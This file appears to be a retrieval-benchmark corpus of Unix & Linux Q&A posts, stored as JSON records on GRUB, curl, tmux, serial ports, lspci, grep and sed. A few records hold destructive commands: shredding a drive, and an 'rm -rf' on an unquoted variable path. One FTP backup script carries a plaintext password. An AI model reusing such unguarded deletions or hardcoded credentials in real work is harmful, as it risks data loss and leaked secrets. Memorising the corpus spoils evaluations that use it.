above. ### END /etc/grub.d/40_custom ### ### BEGIN /etc/grub.d/41_custom ### if [ -f ${config_directory}/custom.cfg ]; then source ${config_directory}/custom.cfg elif [ -z \"${config_directory}\" -a -f $prefix/custom.cfg ]; then source $prefix/custom.cfg; fi ### END /etc/grub.d/41_custom ### ### BEGIN /etc/grub.d/90_persistent ### ### END /etc/grub.d/90_persistent ###"} {"_id": "38408", "title": "How to make Compiz start automatically?", "text": "I'm using Linux Debian Squeeze and I already have compiz installed. I want metacity stop automatically boot, and instead want compiz to start automatically."} {"_id": "38409", "title": "Is it possible to install Gentoo by building on one machine and copying the files?", "text": "I have an older machine with a failing cdrom drive. Because of this I'm having a hard time installing Gentoo on the system. I wanted to run a proposed work around past you and see if it makes sense. Using another Linux machine (running Ubuntu) I was going to install Gentoo into a folder on that machine. By that I mean: create a folder and put stage 3 files in it along with the portage snapshot, chroot into the folder, build the kernel (with Genkernel), install system tools, and basically everything in a standard install short of writing to the MBR. Once I have that environment set up I would throw it into a tarball. Then I would boot up the target machine via a Linux boot disk (it can do this for short periods of time), setup the partitions, deploy that tarball, and write out to the MBR. In my head this all seems to make sense. What do you think? Would I run into problems with any of the compiles of the kernel or system tools? Thanks in advance! **Update 5/11:** The target machine is a laptop from 1997. While it does have a USB port it cannot boot from it. The cdrom drive is difficult to remove and does not have a standardized connector. While the hard drive is easily removable I do not have a way to connect a 2.5\" IDE drive to any of my other computers. Some of these issues can be solved by throwing a little bit of money at the machine but I rather not put any money into a machine this old. And, before you ask, I plan on using this machine mostly as a typewriter--the keyboard has a great feel to it."} {"_id": "138639", "title": "How to use cURL commandline to download a file, for which the link is hidden(activates on-click only)", "text": "I was referring to this question. However, I am wondering how to do the same with `curl`. So far, I have tried the following: curl -O output.rar --referer http://subs.sab.bz/ 'http://subs.sab.bz/index.php?s=ece2929c25861a7244025e1628e7ee5a&act=download&attach_id=75766' I also tried with `-e` switch, but it does not work for me. Can anyone help me out? Thanks in advance!!"} {"_id": "134199", "title": "I want to use openldap account to send or receive email from internet", "text": "I have DNS server + DHCP sever + openldap +samba with only IP: 192.168.100.114; and domain is samba+ldap with domain name abc.local. In this server, I created some group and users (Ex: user1, user2,.., user100 bussiness, technology, accounting) in domain Ldap Samba. Now, I build mailserver (Postfix, dovecot, squirrelmail) with IP:10.10.10.100. I want to use these users of LDAP+samba (user1->user100) to send and receive email from internet. I dont know how to use these account? I have register host company.com.vn to public outside and surely I want these account is named user1@company.com.vn user2@company.com.vn ... replace user1@abc.local, user2@abc.local ....in mailserver linux. I also don't know how to configure! I already set in domain ISP record MX."} {"_id": "38402", "title": "Aliases and tmux", "text": "Aliases defined in `.bash_aliases` and `.bashrc` don't work in `tmux`. Can this be changed in some configuration, so the aliases work under `tmux`?"} {"_id": "134195", "title": "Accents not working on LibreOffice. How to report bug", "text": "When I try to write an accent (spanish in my case) in Libre Office, it just won't write it. I know everything else is fine since I can write accents on other programs (i.e my console). What is curious is that I can write accents (\u00ed \u00f3 \u00fa) until I click somewhere else, lets say, I open firefox or I do something in KUbuntu. Then, if I start working in LibreOffice again, I can't write accents anymore. So, if this is a bug, where should I report it?"} {"_id": "138631", "title": "Windows 8 booting issue from GRUB", "text": "I dual booted Windows 8 and Kali Linux(1.0.7) with Kali installed in legacy mode(because my laptop doesn't allow me to boot from any external device in UEFI mode,it says system does not have DVD/CD or USB boot option). Now when I reach the GRUB menu it shows the Windows 8 loader but fails to boot from it. Now if I have to boot Windows I have to switch to UEFI mode or press `F12` to get into boot setup and boot from the Windows boot manager. If I have to use Kali GRUB boots it automatically. How do I fix the Windows boot issue? Windows is on dev/sda5 whereas Kali is in dev/sda10."} {"_id": "138630", "title": "How to prevent xdotool from locking the current window after a script?", "text": "I have a simple BASH script with `xdotool`, that reads some data from a CSV, and enters it into a form in some other software: #!/bin/bash sleep 5 while read -r line do a=\"$(echo $line | awk '{ print $1 }')\" xdotool type $a xdotool key \"$Tab\" done < ./data.csv aplay Beep.wav The script works as intended, but after the beep tone, the screen becomes locked: * The mouse moves, but no windows can see it (e.g. tool tips do not appear) and it cannot click on anything, even the current window. * The keyboard words, but only within the current window. * The window is locked in this manner for about 5 minutes, then suddenly is not locked anymore. CTRL+ALT+F1 allows me to change consoles, but `killall -9 xfce4-terminal` and `killall -9 xdotool` did not stop the lock. How can I prevent `xdotool` from locking the current window after running it in a script?"} {"_id": "138633", "title": "Looking for obsolete \"libGLcore.so.1\"", "text": "I've installed Steam on Debian using the Steam Wheezy Installer. On start up it says it's missing the 32-bit library `libGLcore.so.1`. Doing a package search I find it only exists in old nVidia drivers, whereas I'm currently running the 300 series driver. Why is Steam looking for an ancient library unrelated to the one I've been running for years and is there anything I can do to fix it?"} {"_id": "149089", "title": "How to enable/disable a serial port?", "text": "I need to disable and then enable a serial port for testing purposes on a Java program. Since the `man` page of `setserial` is stating: \" _Using UART type none will disable the port._ \", I use `sudo setserial /dev/ttyS4 uart none` to disable the port. This successfully disables the serial port. To enable the serial port again, I use `sudo setserial /dev/ttyS4 -a autoconfig` and the port is up as expected. After I've disabled the port, I do try to open the port using the Java gnu.io.CommPortIdentifier function. When I try to enable the port after the executing the `gnu.io.CommPortIdentifier` function, I get this output: $ sudo setserial /dev/ttyS4 -a autoconfig Cannot autoconfigure port: Device or resource busy How can I work around this problem? Is there a better way to enable/disable the serial port? Or can I clear the list of requests made to the port? I obviously can't just kill the process, since my test is running in it."} {"_id": "51827", "title": "No network in slackware", "text": "I have just installed Slackware. I am not new to Linux but new to Slackware. I wonder how to install network in it. After the Slackware installation, audio and network were not working. ![screenshot](http://i.stack.imgur.com/E5TVc.png) This is how it looks like , no audio , network"} {"_id": "40539", "title": "Recursively rename e-mail files from .txt to .eml", "text": "Directory \"$d\" contains a few thousand e-mail files with the .txt extension. To open them in my e-mail client, I need to rename them to .eml Will this command rename them correctly: find \"${d}\" -type f -name '*.txt' | while read f; do mv -vn \"${f}\" \"${f%.*}\".eml; done or is there a better, more robust way to do this? I could not think of an elegant way of doing this using: -exec ...{}... \\;"} {"_id": "71382", "title": "stop processing in shell script but don't exit", "text": "I've got a script that I run continually to monitor vsftpd logs. Here is a small example: #!/bin/sh tail -n0 -F /var/log/vsftpd.log | while read line; do if echo \"$line\" | grep -q 'OK UPLOAD:'; then username=$(echo \"$line\" | cut -d\" \" -f9 | sed 's/\\[\\(.*\\)\\]/\\1/') if [ $? -ne 0 ]; then echo \"ERROR: Failure to get parse username. Line it is trying to parse: $line\" >>/var/log/ftpmonitor.log # We need to remove the file with any error so it doesn't linger rm -rf $home$filenamewithpath if [ $? -ne 0 ]; then echo \"ERROR: Failed to delete video file\" >>/var/log/ftpmonitor.log exit 1 fi exit 1 fi # lot of other stuff here... fi done I want to catch any errors I can with any command failure and stop. Originally I thought I'd use exit to stop. Normally that makes sense but in this case this script needs to keeping running all the time monitoring the vsftpd logs. So I don't want to exit the script I want to just stop any other commands after that failure. How can I achieve this?"} {"_id": "117971", "title": "Linux distros wont boot", "text": "I haven't been able to find an answer to this problem anywhere so im posting it here. So I'm trying to put a couple Linux distros on a laptop, using xboot and a USB drive, and when the computer booted, it went to the xboot menu, let me pick which distro I wanted, started loading it, but freezes right after beginning to load. So far this happens with mint, Fedora, Fubuntu, and Ubuntu, while puppy, mageia, and dragora appear to work. Thing is, its not just with the laptop but the same thing happens when I try to run any of those ISO's using QEMU on a computer I know works. When I first tried loading Linux a couple months ago, I tried all of those same ISO's (as in the exact same file) and they all worked fine, but now only some do. Any ideas on why they wont load? It doesn't really freeze though, because the computer will reboot instantly with `Ctrl`+`Alt`+`Del`, it just wont move past the first loading screen. EDIT: After many more searches, it appears some Linux distros need \"virtualization technology\" and my laptop lacks hardware for this. If anyone knows a way to get around this, let me know. It looks like a dead end though."} {"_id": "71381", "title": "Can I select only one result from a bash glob?", "text": "I'm trying to write a script for work to automate some reporting on an output. The Log files are (currently, it's being 'standardise' in the future) stored in this sort of path structure: `///logs//` `///logs//` Every part of the path is known except the time date stamps, which are always the latest in the folder. If I try to use a wild card in place of the time date stamp, I get multiple results, e.g.: > ls ///logs/* [tab] 20130102-175103 20130118-090859 20130305-213506 I only want it to return the latest one, is this possible with Bash? NB (I don't have zsh, and as lovely as it sounds I doubt we'll ever get it at work)"} {"_id": "71384", "title": "Would someone please explain lspci -vv output?", "text": "I have the following output from running `lspci -vv -s 00:00` on my single board computer running Linux. 07:05.0 RAID bus controller: Adaptec AAC-RAID (Rocket) (rev 03) Subsystem: Adaptec ASR-2230S + ASR-2230SLP PCI-X (Lancer) Control: I/O- Mem+ BusMaster+ SpecCycle+ MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66MHz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 64 (250ns min, 250ns max), Cache Line Size: 64 bytes Interrupt: pin A routed to IRQ 74 Region 0: Memory at f7a00000 (64-bit, non-prefetchable) [size=2M] Region 2: Memory at f79ff000 (64-bit, non-prefetchable) [Remaining output truncated] The above is only example output and not exactly what I am getting but it contains the items of interest. I understand most of the output from the lspci command, but I would like someone to explain to me the lines that begin with **Region** ... What type of memory am I looking at here specified by the Region line? How might I access it? With that asked, I am trying to accomplish communication between two single board computers connected over the PCI bus. I should be able to talk directly. All there is a PCI arbiter running the bus. This is what I've accomplished so far... I created a Linux kernel module for outbound PCI traffic. Basically it maps all the way down from userspace (with a user space application) using the driver mmap implementation. I write to the location returned by mmap and I actually see the traffic with a bus analyzer! Now on the other single board computer I try read its sysfs resource for the PCI device but only see all FFs and no changes. Any advice or explanation on how all of this memory mapping occurs, involving PCI, would be greatly appreciated."} {"_id": "149082", "title": "Shell script: whole directory to the remote ftp server", "text": "I am trying to `ftp` some recording files to a remote server for backup every night. I am very confused regarding shell script. My question / problem is : I want to move the whole folder/directory instead of file to the remote server. Here is current script: HOST='10.113.68.50' USER='sms' PASSWD='Abc123451' LOCALPATH='kmpy/unica/Campaign/partitions/partition1/CiktiDosyalari' FILE=*.sms DIR='SMS/' ftp -n $HOST < www.MoodlePython.com:52000 if so how do I know I can feed data through the ports."} {"_id": "117972", "title": "Cross executing binaries", "text": "I have a Linux machine that I own and administer (CLIENT). I have access to a UNIX server, with no administrative privileges at all (SERVER). Previously, I used to copy a lot of files from this server, processes them in my client, and then push them back to the server. Lately, I'm working remotely, and to move 5~10 Gb, many times a day; so this approach is not an option anymore. So what I want do is to: 1. ( **optional, if you have a better idea** ) transfer a binary (compiled to that Unix, I have most of then, but a reference to cross compile could be helpful) 2. run _my_ binaries against those files, on the SERVER (using their computing power, and memory, since the tasks are huge). 3. save the results on the server (with a redirection \"> file.txt\") 4. not leave ( **or even install** ) these apps on the server. How this kind of result could be accomplished? Below some additional back ground. On this specific server, there is a long process to request, and almost certainly not to be granted, authorization to install new programs. Believe-me I've tried. One of the questions taken into consideration for this request was \"how will this work be done without this software?\", to which my reply was \"I've been doing it on my workstation with copies of the files\", to which they replied \"so continue working that way.\" Since I have started these analysis by UNIX, the results are great for the main business; so demand is increasing. I've managed to maintain a solution scalable that is performing well. But the transfers are a big concern now. I stand to lose my ability to work from home if this analysis cannot be done anymore."} {"_id": "122751", "title": "Shredding an external HDD", "text": "How do I shred the data on an external HDD? I am trying `shred \"/media/me/New Volume/\"` but I get `failed to open for writing: Is a directory`. Why?"} {"_id": "122753", "title": "Chrome certificate", "text": "How do I add trusted certificates for google-chrome through command line ? For firefox, I can use `certutil` binary. For google-chrome which binary or what steps are required ?"} {"_id": "122752", "title": "How to print strings matching a pattern with grep?", "text": "I want to get a list of strings matching the following pattern: CLASS_NAME:\"*\" where `*` represents any number of characters. I tried: grep -o CLASS_NAME:\\\".*\\\" script.js and grep -o CLASS_NAME:\\\"*\\\" script.js The first case returns the entire line after the matched string while the second case terminates at the first `\"`. How can I get it to return just the matched string?"} {"_id": "70382", "title": "How to properly use /usr/xpg4/bin/grep -F", "text": "I have a problem producing filtering out hanzoMollusc (2)from my grep. https://node.hanzo.com/production/application/ (1) https://node.hanzoMollusc.com/Messaging/Receiver (2) My grep command is this for (2) which is working just fine. /usr/xpg4/bin/grep -E 'node.hanzoMollusc.*Exception' diag* | grep -c 2013-03-28 Problem is if I wanted to search for (1) I need to modify the grep command a bit and use -F where its stated in the manual \"Matches using fixed strings. Treats each pattern specified as a string instead of a regular expression\" This is what I have come up so far... which is not working.... /usr/xpg4/bin/grep -F 'https://node.hanzo.com/application/*Exception' diag* | grep -c 2013-03-28 My problem lies in the domain part which is node.hanzo and node.hanzoMollusc that is why I didn't use -E on (1). Can anyone help me to fix this. # Edit I was able to get what I want exactly with a few tweaks from Gilles example. Actually he was right I tried reading my question and it wasn't clear. My problem boils is this. I have a problem filtering this https://node.hanzoMollusc.com/Messaging/Receiver everytime I use this command: /usr/xpg4/bin/grep -E 'node.hanzoMollusc.*Exception' diag* | grep 2013-03-28 because it also shows up both node.hanzo and node.hanzoMollusc on the results. I tweaked Gilles example and I was able to get the result right /usr/xpg4/bin/grep -E '(https://node.hanzo.com/production/application)[/ ].*Exception' diag* Thanks alot Gilles."} {"_id": "70387", "title": "Difference betwen grep pattern ^$ and ^", "text": "I understand that grep matches all the blank lines for the pattern `^$`. But what does just `^` means. When I gave `grep '^' filename`. It matched all the lines. Also `grep '' filename` matched all the lines"} {"_id": "70386", "title": "Unable to compile beclock on Arch", "text": "I was unable to compile beclock on latest Arch, with `yaourt -S bekwinfx-git`: CMake Error at CMakeLists.txt:9 (find_package): By not providing \"FindXCB.cmake\" in CMAKE_MODULE_PATH this project has asked CMake to find a package configuration file provided by \"XCB\", but CMake did not find one. Could not find a package configuration file provided by \"XCB\" with any of the following names: XCBConfig.cmake xcb-config.cmake Add the installation prefix of \"XCB\" to CMAKE_PREFIX_PATH or set \"XCB_DIR\" to a directory containing one of the above files. If \"XCB\" provides a separate development package or SDK, be sure it has been installed. And I tried to use `pkgfile` to find these files, and to no avail (I already updated pkgfile cache) Anyone know how to fix that? **UPDATE** Seems like XCB and other X11 libs are already included in compile flags, so removing them doesn't hurt"} {"_id": "8975", "title": "Need help with re-partitioning", "text": "First of all: I'm just a beginning Linux-User ;-) I've set up a server with OpenVZ support. I wrote a backup script that's dumping the vz containers from time to time. But some containers are not backed up due to insufficient disk space. So I ran `df -h` which gives me this: Filesystem Size Used Avail Use% Mounted on 240f0d7c-195b-461b-87e3-0d0dfc33c3d4 5.0G 4.4G 362M 93% / tmpfs 2.0G 0 2.0G 0% /lib/init/rw udev 10M 660K 9.4M 7% /dev tmpfs 2.0G 4.0K 2.0G 1% /dev/shm /dev/sda3 270G 32G 225G 13% /vz /dev/sda4 184G 188M 174G 1% /srv So it seems the problem is the root partition (?) which has only 362M available. As `/srv` has 174G which is may too much I want to \"give\" some disk space from there to root. Can someone explain how I can do this and maybe explain it a little bit. I don't really know much about this mounting/partioning on Linux (yet). Thanks!"} {"_id": "36039", "title": "Errors when loading terminal", "text": "Every time I run a new terminal window (before I do a single thing), I am greeted with these messages: env: bash: No such file or directory env: bash: No such file or directory env: bash: No such file or directory env: bash: No such file or directory env: bash: No such file or directory -bash: grep: command not found -bash: tar: command not found -bash: cat: command not found For instance, when I type `cd ~/`, I get: `-bash: find: command not found`. Can anyone help? I don't know where to start. Thanks in advance!"} {"_id": "36031", "title": "Notification out of screen", "text": "The notifications extrude the screen. Anyone could help? I am on Ubuntu 11.10 with Gnome3.2. ![notifications extrude the screen](http://i.stack.imgur.com/wQRLi.png)"} {"_id": "36033", "title": "Substituting the first occurrence of a pattern in a line, for all the lines in a file with sed", "text": "Is it possible to do it in one liner? I have an output like this: \"First line\" - Description \" Second line\" - Description \"Third line\" - Description \" Fourth line\" - Description This input is generated automatically. I want to replace the first occurrence of `\"` (quotation mark + space) with `\"` (quotation mark) for each line. If I apply the substitution globally, it will also change every occurrence of `line\" -` to `line\"-`, so I was wondering if it is possible to use a sed one liner to accomplish this. I have tried using `^` like this sed -r ':a;N;$!ba;s/(\\^\\\" )/\\\"/g' But it's not working, it doesn't replace anything. I tried sed -r ':a;N;$!ba;s/(^|\\\" )/\\\"/g' and it replaces all the occurrences. I've just started to use sed, so I don't really know if I'm doing something wrong. What am I missing here?"} {"_id": "146792", "title": "Mapping a key to AltGr with KDE On Ubuntu", "text": "Is there a way to Assign `AltGr` to the right `Win` key? I'm Using KDE Workspace in Ubuntu 14.04."} {"_id": "146791", "title": "Configuring USB digital microphone under Linux", "text": "I just bought a digital USB microphone. It looks nice, but I cannot make it work. I use openSuse 12.3. How do I ever know whether my system has the drivers for such and such microphone? The good news it shows in `alsamixer` as usb microphone. It is set as capture device with full volume, it's listed in `arecord --list-devices` but still I cannot start recording with `arecord hw:N,M . [ I get mute file -- test.wav ] . From what I understood, the first step should be to disable all third party sound servers (like Pulse-Audio, Xine, Phonon etc.) and try the ALSA way. tom@oberon:~> lsusb Bus 003 Device 002: ID 046d:c044 Logitech, Inc. LX3 Optical Mouse Bus 003 Device 003: ID 062a:0201 Creative Labs Defender Office Keyboard (K7310) S Zodiak KM-9010 Bus 010 Device 002: ID 0d8c:0005 C-Media Electronics, Inc. The `arecord --list-devices` gives line: card 1: MICROPHONE [USB MICROPHONE], device 0: USB Audio [USB Audio] Subdevices: 1/1 Subdevice #0: subdevice #0 I tried recording with `audacity`, but it does not work to no extend. dmesg comand output: [ 4270.201048] usb 10-1: new full-speed USB device number 3 using xhci_hcd [ 4270.247392] usb 10-1: New USB device found, idVendor=0d8c, idProduct=0005 [ 4270.247399] usb 10-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 4270.247404] usb 10-1: Product: USB MICROPHONE [ 4270.247408] usb 10-1: Manufacturer: MICE MICROPHONE [ 4270.247411] usb 10-1: SerialNumber: 201308 [ 4270.261462] input: MICE MICROPHONE USB MICROPHONE as /devices/pci0000:00/0000:00:07.0/0000:04:00.0/usb10/10-1/10-1:1.2/input/input56 [ 4270.261677] hid-generic 0003:0D8C:0005.0004: input,hidraw3: USB HID v1.11 Device [MICE MICROPHONE USB MICROPHONE] on usb-0000:04:00.0-1/input2 [ 4270.298216] xhci_hcd 0000:04:00.0: ERROR: unexpected command completion code 0x11. [ 4270.298227] usb 10-1: Not enough bandwidth for altsetting 1 [ 4270.306239] ALSA mixer.c:889 10:0: cannot get min/max values for control 2 (id 10) [ 4270.306390] usbcore: registered new interface driver snd-usb-audio What does it mean : > [ 4270.298216] xhci_hcd 0000:04:00.0: ERROR: unexpected command completion > code 0x11. [ 4270.298227] usb 10-1: Not enough bandwidth for altsetting 1 > ???"} {"_id": "36036", "title": "Windows host shares doesn't get mount when I boot into Linux guest in vmware?", "text": "I've enable network shares in vmware and I want to share a Windows folder with my Linux guest OS but I don't know where to look in my guest OS? In Linux I've looked into network shares and samba shares to no avail. My Linux is a standard installation of Suse 12.1."} {"_id": "84665", "title": "Prevent a file from being deleted even after rm -f", "text": "I usually stay on StackOverflow but I think on this topic you guys are much more experts here. So today's exercise is weird, I have to write a `script.sh` and in it do whatever I can to prevent `test.txt` from being deleted but the catch is that the last line **has** to be rm -f test.txt I don't really know much about shell (I usually do c/objective-c) so I picked up a book, haven't finished it but still have no clue of how to do that. I thought about permissions, but the script will be given all permission when tested so it's not an option... (I don't know if it matters but the script will be run on OS X)."} {"_id": "14389", "title": "How to move the existing mount point from /usr/local to /usr in Ubuntu 11.04?", "text": "I am running Ubuntu 11.04. During installation, instead of `/usr`, I mistakenly assigned `/usr/local` to a separate partition. Now I want to change the mount point to default to `/usr` on boot but I don't want to go through the pain of installing Ubuntu again."} {"_id": "14388", "title": "Are there any GUI's for Linux that doesn't use X11?", "text": "Are there any GUI's for Linux that doesn't use X11? Since X has very poor security :O e.g.: Ubuntu, Fedora - what else are there? Goal: having a Desktop Environment without X. - what are the solutions? (e.g.: watch Flash with Google Chrome, Edit docs with LibreOffice, etc., not using text-based webbrowsers) Maybe with framebuffers? But how? :O"} {"_id": "122283", "title": "Moving Java sinks in PulseAudio", "text": "I want to record some gameplay on Minecraft. I created several sinks (and learned PulseAudio through trial and error). How can you tell Java/OpenAL to allow sink moving? I already edited `~/.alsoftrc` to allow sink moves with no avail."} {"_id": "122281", "title": "Why is my TCP throughput much greater than UDP throughput?", "text": "I haven't done anything unusual to my hardware or kernel configurations (all default settings, fresh OS install, Linux kernel 3.11 TCP/IP stack) and I'm averaging about 3.83 million messages per second through TCP while I'm only averaging 0.75 million messages per second through UDP. This seems to completely defy what I expect of the two protocols. What's the most likely cause for the drastic difference and how can I diagnose it on Ubuntu 13.10? #TCP RESULTS Recv Send Send Utilization Service Demand Socket Socket Message Elapsed Send Recv Send Recv Size Size Size Time Throughput local remote local remote bytes bytes bytes secs. 10^6bits/s % S % S us/KB us/KB 87380 65536 64 10.00 1963.43 32.96 17.09 5.500 2.852 #UDP RESULTS Socket Message Elapsed Messages CPU Service Size Size Time Okay Errors Throughput Util Demand bytes bytes secs # # 10^6bits/sec % SS us/KB 4194304 64 10.00 7491010 0 383.5 28.97 24.751 212992 10.00 1404941 71.9 25.03 21.381 For this test I have two test servers that are identical and directly connected via a 10G crossover cable. The NICs used in this case are Intel X520's with out-of-box configurations and connected onto a PCIe 3.0 x8 slot on the motherboard, which communicates with the CPU via a NUMA controller."} {"_id": "84662", "title": "Driver for Canon i-SENSYS MF3010", "text": "In the specifications for Canon i-SENSYS MF3010 http://www.canon- europe.com/For_Home/Product_Finder/Multifunctionals/Laser/i-SENSYS_MF3010/ it is mentioned the printer is compatible with GNU/Linux. On the download page http://www.canon- europe.com/Support/Consumer_Products/products/Fax__Multifunctionals/Laser/LaserBase_MF_series/i-SENSYS_MF3010.aspx?type=download&page=1 there is no driver for GNU/Linux. Where do I find a driver?"} {"_id": "18602", "title": "ssh tunneling a local display to another server", "text": "I have a GUI test stand simulation connected to some hardware that is under test. The test stand is a Sun Sparc Ultra 2 SunOs 5.7. The simulation software checks to see if your running your display on `:0.0`. If not it won't apply power. We do not have the source to re-write the simulation to not check this. I have a need to \"See\" what is being displayed on the local terminal. I have tried `x11vnc` but it seems that Xsun might not support the record extension. SSH -X sets the DISPLAY to `:10.0` so that is out. I really need to port forward the 6000 port to the say the 6001 port on my windows box running cgwin. (I am assuming 6001 is `:1.0` and is what my x server on my windows box will be listing too). Is any of this possible I am at whits end. Here is the offending code. /* Console can always access the HW */ if (xserver != (char *) NULL) { /* if the first two characters are \":0\" */ if ((xserver[0] == ':') && (xserver[1] == '0')) termtype = TERMINAL_LOCAL; else if (uname(&utshost) == 0) { nnlen = strlen(utshost.nodename); if ((int) strlen(xserver) >= (int) (nnlen + 2)) { if ((strncmp(xserver, utshost.nodename, nnlen) == 0) && (xserver[nnlen] == ':') && (xserver[nnlen + 1] == '0')) termtype = TERMINAL_LOCAL; else termtype = TERMINAL_REMOTE; } /* END if */ } /* END if/else */ } /* END if */ I get this when running `xdpyinfo -queryExtensions` (truncated for relevancy): name of display: localhost:0.0 version number: 11.0 vendor string: The Cygwin/X Project vendor release number: 11001000 maximum request size: 16777212 bytes motion buffer size: 256 bitmap unit, bit order, padding: 32, LSBFirst, 32 image byte order: LSBFirst number of supported pixmap formats: 7 supported pixmap formats: depth 1, bits_per_pixel 1, scanline_pad 32 depth 4, bits_per_pixel 8, scanline_pad 32 depth 8, bits_per_pixel 8, scanline_pad 32 depth 15, bits_per_pixel 16, scanline_pad 32 depth 16, bits_per_pixel 16, scanline_pad 32 depth 24, bits_per_pixel 32, scanline_pad 32 depth 32, bits_per_pixel 32, scanline_pad 32 keycode range: minimum 8, maximum 255 focus: window 0x200023, revert to PointerRoot number of extensions: 22 BIG-REQUESTS (opcode: 132) Composite (opcode: 146) DAMAGE (opcode: 147, base event: 90, base error: 149) DOUBLE-BUFFER (opcode: 138, base error: 138) DPMS (opcode: 139) GLX (opcode: 148, base event: 91, base error: 150) Generic Event Extension (opcode: 128) MIT-SCREEN-SAVER (opcode: 133, base event: 82) RANDR (opcode: 143, base event: 88, base error: 146) RECORD (opcode: 137, base error: 137) RENDER (opcode: 142, base error: 141) SGI-GLX (opcode: 148, base event: 91, base error: 150) SHAPE (opcode: 129, base event: 64) SYNC (opcode: 134, base event: 83, base error: 133) X-Resource (opcode: 145) XC-MISC (opcode: 136) XFIXES (opcode: 141, base event: 86, base error: 139) XFree86-Bigfont (opcode: 140) XINERAMA (opcode: 144) XInputExtension (opcode: 130, base event: 65, base error: 128) XKEYBOARD (opcode: 135, base event: 85, base error: 136) XTEST (opcode: 131) default screen number: 0 When I ssh name@server.com The $DISPLAY is servername:0.0 which is local but I can not see. When I ssh -X name@server.com The $DISPLAY is localhost:0.0 which my simulation sees as remote."} {"_id": "18603", "title": "Rotate pdf pages: 90 degree for even pages and -90 degree for odd pages", "text": "I was wondering in a pdf file, how to rotate pdf pages: 90 degree for even pages and -90 degree for odd pages? By pdftk, all I know is to rotate a page by `pdftk in.pdf cat 1W output out.pdf`, and rotate all pages by `pdftk in.pdf cat 1-endW output out.pdf`. Thanks!"} {"_id": "150689", "title": "Top show high CPU on process but idle on load average", "text": "I am running FreePBX on DigitalOcean VM. I am facing some call dropping issue in Asterisk. When looking at \"htop\", \"top\" and FreePBX GUI, I see different results of CPU utilization and can't understand if my VM is OK or needs attention w.r.t CPU. Load average shows nearly idle system while CPU utilization of Asterisk process is pretty high. htop result: ![enter image description here](http://i.stack.imgur.com/RAy9U.jpg) top result: ![enter image description here](http://i.stack.imgur.com/WS68h.jpg) FreePBX GUI result: ![enter image description here](http://i.stack.imgur.com/ShmB2.jpg) Could someone please advise me on this? 74% CPU on a process yet idle system on load average. Can this be an issue causing call dropping on Asterisk?"} {"_id": "18601", "title": "On Solaris 7 Box trying to get X Record Extension Library to work using x11vnc", "text": "Does Xsun support this extension? Im on a Solaris Sparc Ultra 2 SunOs 5.7. x11vnc version: 0.9.9"} {"_id": "14387", "title": "Telnet over Ethernet for Linux?", "text": "I have used MikroTik RouterOS and I found a telnet-over-Ethernet (a layer 2 telnet), MAC telnet on it. I think it's a great tool, when SSH dies, or someone misconfigures IP Addresses. So the thing about it that you could telnet to a MAC address, log in, etc. RouterOS is based on Linux, but are there Layer 2 telnet solutions - open- source projects (or in the repositories) under e.g.: Ubuntu, Fedora? http://lunatic.no/2010/10/routeros-mac-telnet-application-for-linux-users/"} {"_id": "33204", "title": "How to make a symbolic link to /usr/bin/vim but with start-up parameters?", "text": "After I `make&make install` vim from source, I found many symbolic links of vim in `/usr/local/bin`, such as evim, rvim, view... The `vim(1)` man page said that \"rvim\" is equivalent to \"vim -Z\" and so on. Now I wonder: can I make such a symbolic link with `ln(1)` myself, and if so, how?"} {"_id": "77053", "title": "apt installing more packages than specified as dependencies", "text": "I was trying to install `texmaker` from the repository. For installing the `texlive` I followed the steps described here. For this the control file I used is this. It has the file texlive-binaries in it. Then I tried to install `texmaker` from `apt`. It has the dependency listed as # apt-cache depends texmaker texmaker Depends: libc6 Depends: libgcc1 Depends: libpoppler-qt4-3 Depends: libqt4-network Depends: libqt4-xml Depends: libqtcore4 Depends: libqtgui4 Depends: libqtwebkit4 Depends: libstdc++6 Depends: zlib1g Depends: texmaker-data Recommends: aspell Recommends: ghostscript Recommends: netpbm Recommends: psutils texlive-local Recommends: texlive-latex-extra texlive-local |Recommends: myspell-fr myspell-ru hunspell-an hunspell-ar hunspell-be hunspell-da hunspell-de-at hunspell-de-at-frami hunspell-de-ch hunspell-de-ch-frami hunspell-de-de hunspell-de-de-frami hunspell-en-ca hunspell-en-us hunspell-eu-es hunspell-fr hunspell-gl-es hunspell-hu hunspell-kk hunspell-ko hunspell-ne hunspell-ro hunspell-ru hunspell-se hunspell-sh hunspell-sr hunspell-sv-se hunspell-uz hunspell-vi myspell-et myspell-lv myspell-pl |Recommends: hunspell-de-de myspell-de-de |Recommends: myspell-de-de-oldspell myspell-fr myspell-ru hunspell-kk myspell-af myspell-bg myspell-ca myspell-cs myspell-da myspell-de-at myspell-de-ch myspell-de-de myspell-en-au myspell-en-gb myspell-en-us myspell-en-za myspell-eo myspell-es myspell-et myspell-fa myspell-fi myspell-fo myspell-fr-gut myspell-ga myspell-gd myspell-gv myspell-he myspell-hr myspell-hu myspell-hy myspell-it myspell-ku myspell-lt myspell-lv myspell-nb myspell-nl myspell-nn myspell-pl myspell-pt-br myspell-pt-pt myspell-sk myspell-sl myspell-sw myspell-th myspell-tl myspell-uk Recommends: hunspell-en-us Recommends: asymptote Recommends: ibus-qt4 But when I tried to install `texmaker` from `apt` is shows # apt-get install texmaker Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: asymptote asymptote-doc ed freeglut3 ibus-qt4 libgraphite3 libibus-qt1 libptexenc1 libqtwebkit4 libruby1.9.1 libsigsegv2 libyaml-0-2 python-imaging-tk ruby ruby1.9.1 tex-common texlive-binaries texlive-common texmaker-data Why is it so? I had no problem installing `tex-studio` and `texworks`."} {"_id": "69010", "title": "How to find out whether a certain processor is 64bit or 32bit?", "text": "Now, the answer that jumps into everyone's minds at this point is, of course, `uname -a`. But I believe that, in this case, it is not the correct answer. Why? Well, I have installed a 64bit version of Debian (netinst, though). `uname -a` says it's a 64bit system. What's the problem? Well, this is a 10 year old computer, and I'm pretty sure it's not 64bit. An answer that had just sprung into my mind is creating a C program to check the max size of an integer... I'll do that. But, is there another way to actually check the hardware? I'm guessing `uname` has its string cached somewhere, and I'm not sure how it can be updated. The second part of my question is this: if I had incidentally installed a 64bit version of Debian, and if it had somehow repaired itself from the installer to reach a functional state (there were strange errors at the first boot), how can I fix the situation (that is, make the system believe it's actually 32bit) without reinstalling? And even for reinstalling, I need to know definitely which arch I have."} {"_id": "38415", "title": "How can I determine if my processor is 64 or 32 bit?", "text": "> **Possible Duplicate:** > How do I know that my CPU supports 64bit operating systems under 